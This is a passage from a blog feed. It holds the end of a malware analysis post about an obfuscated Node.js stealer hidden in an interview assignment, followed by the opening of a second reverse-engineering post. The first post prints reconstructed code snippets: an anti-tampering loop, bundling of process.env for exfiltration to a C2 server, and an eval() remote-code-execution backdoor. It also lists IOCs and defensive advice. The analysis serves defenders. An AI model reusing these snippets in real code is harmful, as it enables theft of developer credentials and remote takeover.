&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;_0x3c4758&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style: italic;&quot;&gt; _0x149891&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0x130bf3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; _0x363b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt; &#x2F;&#x2F; The encrypted dictionary array&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;  while&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF9CAC;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;    try&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;      &#x2F;&#x2F; Calculates a checksum based on integer parsing of specific array indices&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;      if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; + ... ===&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 272461&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;        break&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt; &#x2F;&#x2F; Array is aligned; unlock execution&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      _0x130bf3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;_0x130bf3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;shift&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;())&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; catch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      _0x130bf3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;_0x130bf3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;shift&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;())&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span&gt;)()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This loop acts as an anti-tampering lock. It continuously shifts the elements of the dictionary array until a complex mathematical equation evaluates exactly to &lt;code&gt;272461&lt;&#x2F;code&gt;.
This ensures the array is in the correct sequence before execution.
If an analyst attempts to deobfuscate the script by modifying the Abstract Syntax Tree (AST) or altering the dictionary indices, the checksum fails, and the script falls into an infinite loop, crashing the analysis environment.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;host-reconnaissance&quot;&gt;Host Reconnaissance&lt;&#x2F;h3&gt;
&lt;p&gt;Once unlocked, the malware fingerprints the machine. It utilizes Node&#x27;s native &lt;code&gt;os&lt;&#x2F;code&gt; module to construct a specific system profile.&lt;&#x2F;p&gt;
&lt;p&gt;It retrieves the &lt;code&gt;os.hostname()&lt;&#x2F;code&gt;, &lt;code&gt;os.type()&lt;&#x2F;code&gt;, &lt;code&gt;os.release()&lt;&#x2F;code&gt;, and &lt;code&gt;os.arch()&lt;&#x2F;code&gt;. To uniquely identify the infected host, it aggressively hunts for the physical MAC address.
It iterates through &lt;code&gt;os.networkInterfaces()&lt;&#x2F;code&gt;, flattening the output and filtering with strict parameters:
&lt;code&gt;_0x3e2c75 =&amp;gt; &quot;IPv4&quot; === _0x3e2c75.family &amp;amp;&amp;amp; !_0x3e2c75.internal &amp;amp;&amp;amp; &quot;127.0.0.1&quot; !== _0x3e2c75.address&lt;&#x2F;code&gt;
This guarantees the script ignores local loopbacks and virtual interfaces, targeting the outward-facing network adapter.
The resulting schema prepared for exfiltration looks exactly like this:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;hostname&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;developer-macbook-pro&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;macs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: [&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;00:1A:2B:3C:4D:5E&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;],&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Darwin 23.0.0 (x64)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;the-exfiltration-payload-stealing-secrets&quot;&gt;The Exfiltration Payload (Stealing Secrets)&lt;&#x2F;h3&gt;
&lt;p&gt;The most devastating function of this malware is the theft of the developer&#x27;s environment variables.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;const&lt;&#x2F;span&gt;&lt;span&gt; _0x48be04&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; URLSearchParams&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;  sysInfo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; JSON&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;stringify&lt;&#x2F;span&gt;&lt;span&gt;(_0xc843c2)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;  processInfo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; JSON&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;stringify&lt;&#x2F;span&gt;&lt;span&gt;(process&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;env)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;  tid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;d2UgYXJlIGdvaW5nIHRvIGRvIGJpZyBvbmU=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;  sysId&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; sysId&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The script bundles the reconnaissance data alongside &lt;code&gt;JSON.stringify(process.env)&lt;&#x2F;code&gt;.
For developers, &lt;code&gt;process.env&lt;&#x2F;code&gt; frequently contains highly privileged credentials: AWS access keys, production database URIs, and JWT signing secrets.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;A Forensic Observation on the GET Request&lt;&#x2F;strong&gt;: The malware packages this massive payload into a &lt;code&gt;URLSearchParams&lt;&#x2F;code&gt; object and exfiltrates it via an HTTP &lt;code&gt;GET&lt;&#x2F;code&gt; request, appending it directly to the C2 URL (&lt;code&gt;fetch(url + &quot;?&quot; + params)&lt;&#x2F;code&gt;).
While this avoids triggering Intrusion Detection Systems (IDS) that only inspect &lt;code&gt;POST&lt;&#x2F;code&gt; request bodies, it exposes a flaw in the attacker&#x27;s design.
Because &lt;code&gt;process.env&lt;&#x2F;code&gt; can be several kilobytes in size, this exfiltration method risks hitting server-side URI length limits, potentially resulting in &lt;code&gt;414 URI Too Long&lt;&#x2F;code&gt; HTTP errors before the data successfully reaches the attacker.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-c2-beacon-and-rce-backdoor&quot;&gt;The C2 Beacon and RCE Backdoor&lt;&#x2F;h3&gt;
&lt;p&gt;After firing the initial exfiltration request, the script awaits a JSON response from the attacker&#x27;s Command and Control (C2) server. It expects three parameters: &lt;code&gt;status&lt;&#x2F;code&gt;, &lt;code&gt;message&lt;&#x2F;code&gt;, and &lt;code&gt;sysId&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;const&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; status&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; _0x382e87&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; message&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; _0x54ac37&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; sysId&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; _0x1c015b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; } =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; await&lt;&#x2F;span&gt;&lt;span&gt; _0x1c1994&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;json&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;error&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; ===&lt;&#x2F;span&gt;&lt;span&gt; _0x382e87)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt; &#x2F;&#x2F; Deobfuscated dictionary mapping&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;  try&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; eval&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;_0x54ac37&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;; }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; catch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;_0x5b71d4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; (_0x1c015b)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span&gt; sysId&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x1c015b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;The Status Anomaly &amp;amp; RCE&lt;&#x2F;strong&gt;: Forensic analysis of the dictionary maps the required trigger status to the string &lt;code&gt;&quot;error&quot;&lt;&#x2F;code&gt;.
While counterintuitive, this is a common obfuscator optimization: the threat actor reuses the dictionary string &lt;code&gt;&quot;error&quot;&lt;&#x2F;code&gt; (which is also used later in the script for &lt;code&gt;console.error&lt;&#x2F;code&gt;) to validate the backdoor, saving file space.&lt;&#x2F;p&gt;
&lt;p&gt;If the server replies with &lt;code&gt;status: &quot;error&quot;&lt;&#x2F;code&gt;, the malware passes the attacker&#x27;s message string directly into &lt;code&gt;eval()&lt;&#x2F;code&gt;. &lt;strong&gt;This grants the attacker silent, unauthenticated Remote Code Execution (RCE)&lt;&#x2F;strong&gt;. The &lt;code&gt;try...catch&lt;&#x2F;code&gt; block is intentionally empty, swallowing syntax errors to prevent the Node application from crashing and alerting the developer.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Session Persistence&lt;&#x2F;strong&gt;: The &lt;code&gt;sysId&lt;&#x2F;code&gt; variable allows the attacker to track active sessions.
The server responds with a unique integer (&lt;code&gt;_0x1c015b&lt;&#x2F;code&gt;), which the malware saves locally. Wrapped in a &lt;code&gt;setInterval&lt;&#x2F;code&gt; loop of 5000ms, the infected host becomes a beaconing zombie, repeatedly polling the C2 server with its assigned &lt;code&gt;sysId&lt;&#x2F;code&gt;, asking for new arbitrary code to execute in memory.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;indicators-of-compromise-iocs&quot;&gt;Indicators of Compromise (IOCs)&lt;&#x2F;h2&gt;
&lt;p&gt;By contextually analyzing the script and replicating the custom Base64 decryption logic, I extracted the primary infrastructure endpoints.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Target Vector:&lt;&#x2F;strong&gt; Node.js environments (&lt;code&gt;process.env&lt;&#x2F;code&gt;), VS Code Workspaces.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;C2 Endpoint:&lt;&#x2F;strong&gt; &lt;code&gt;hXXps:&#x2F;&#x2F;[REDACTED-C2-DOMAIN]&#x2F;api&#x2F;receive&lt;&#x2F;code&gt; &lt;em&gt;(Defanged for safety; submitted to authorities).&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Tracking ID (Base64):&lt;&#x2F;strong&gt; &lt;code&gt;d2UgYXJlIGdvaW5nIHRvIGRvIGJpZyBvbmU=&lt;&#x2F;code&gt; (Decodes to: &lt;em&gt;&quot;we are going to do big one&quot;&lt;&#x2F;em&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Execution Interval:&lt;&#x2F;strong&gt; 5000ms beaconing.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;defensive-posture-safety-recommendations&quot;&gt;Defensive Posture &amp;amp; Safety Recommendations&lt;&#x2F;h2&gt;
&lt;p&gt;As developers, our local environments are highly privileged. We must adopt a zero-trust mindset, even with interview assignments.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;for-developers&quot;&gt;For Developers:&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Disable Auto-Tasks in VS Code:&lt;&#x2F;strong&gt; Never blindly open untrusted repositories. In VS Code, press &lt;code&gt;Ctrl+Shift+P&lt;&#x2F;code&gt; (or &lt;code&gt;Cmd+Shift+P&lt;&#x2F;code&gt;), search for &lt;strong&gt;&quot;Tasks: Manage Automatic Tasks&quot;&lt;&#x2F;strong&gt;, and ensure automatic execution is disabled or prompts for permission.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Inspect Hidden Folders:&lt;&#x2F;strong&gt; Always check the &lt;code&gt;.vscode&lt;&#x2F;code&gt;, &lt;code&gt;.git&#x2F;hooks&lt;&#x2F;code&gt;, and &lt;code&gt;package.json&lt;&#x2F;code&gt; (pre&#x2F;post-install scripts) of unverified repositories in a basic text editor or terminal before opening them in a fully-featured IDE.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Use Environment Variable Managers:&lt;&#x2F;strong&gt; Avoid keeping long-lived, highly privileged cloud credentials in your global &lt;code&gt;process.env&lt;&#x2F;code&gt; or &lt;code&gt;~&#x2F;.bashrc&lt;&#x2F;code&gt;. Use scoped secret managers (like AWS Vault or Doppler) that inject secrets only when a specific process is running.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;threat-reporting-community-defense&quot;&gt;Threat Reporting &amp;amp; Community Defense:&lt;&#x2F;h3&gt;
&lt;p&gt;If you encounter this or similar malware, do not just delete it. Isolate it and extract the IOCs to protect the community.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;National Authorities:&lt;&#x2F;strong&gt; Report the incident and share the malicious IPs&#x2F;URLs with your national cyber agency.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Community Platforms:&lt;&#x2F;strong&gt; Upload the raw malicious scripts to &lt;strong&gt;VirusTotal&lt;&#x2F;strong&gt; and report the C2 IP addresses to &lt;strong&gt;AbuseIPDB&lt;&#x2F;strong&gt;. This allows automated firewalls globally to block the threat actor&#x27;s infrastructure, severing their access to other victims.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Stay safe, verify everything, and happy coding.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Down the Rabbit Hole: How I Reverse Engineered a Multi-Stage Malware Attack</title>
        <published>2026-04-30T00:00:00+00:00</published>
        <updated>2026-04-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://roynrishingha.com/blog/reverse-engineering-multi-stage-malware/"/>
        <id>https://roynrishingha.com/blog/reverse-engineering-multi-stage-malware/</id>
        
        <content type="html" xml:base="https://roynrishingha.com/blog/reverse-engineering-multi-stage-malware/">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;&#x2F;h2&gt;
&lt;p&gt;Recently, I encountered and dismantled a highly sophisticated, multi-stage credential stealer. This campaign bypassed traditional phishing vectors, utilizing IDE execution traps, IP-locked dynamic payloads, custom XOR obfuscation, and Cython-compiled binaries to establish persistence and exfiltrate data silently.&lt;&#x2F;p&gt;
&lt;p&gt;This post documents the complete attack chain, the operational security measures required to safely analyze it, and the reverse engineering techniques used to break the attacker&#x27;s defenses at every stage.&lt;&#x2F;p&gt;
&lt;p&gt;I conducted the entire analysis within an isolated Debian Linux Virtual Machine.&lt;&#x2F;p&gt;
&lt;p&gt;A strict &quot;Terminal-Only&quot; rule was enforced during the initial triage.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;No IDEs: Opening a suspicious repository in VS Code, IntelliJ, or WebStorm is an immediate compromise hazard due to auto-execution features (which this malware specifically exploited).&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Text Inspection: File inspection was limited to terminal pagers and text editors (&lt;code&gt;helix&lt;&#x2F;code&gt;, &lt;code&gt;less -S&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Payload Handling: Network interception and payload extraction were handled using stripped-down &lt;code&gt;wget&lt;&#x2F;code&gt; commands.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Binary Restraint: Compiled binaries were never executed. Triage was limited to static analysis tools (&lt;code&gt;readelf&lt;&#x2F;code&gt;, &lt;code&gt;strings&lt;&#x2F;code&gt;, &lt;code&gt;file&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
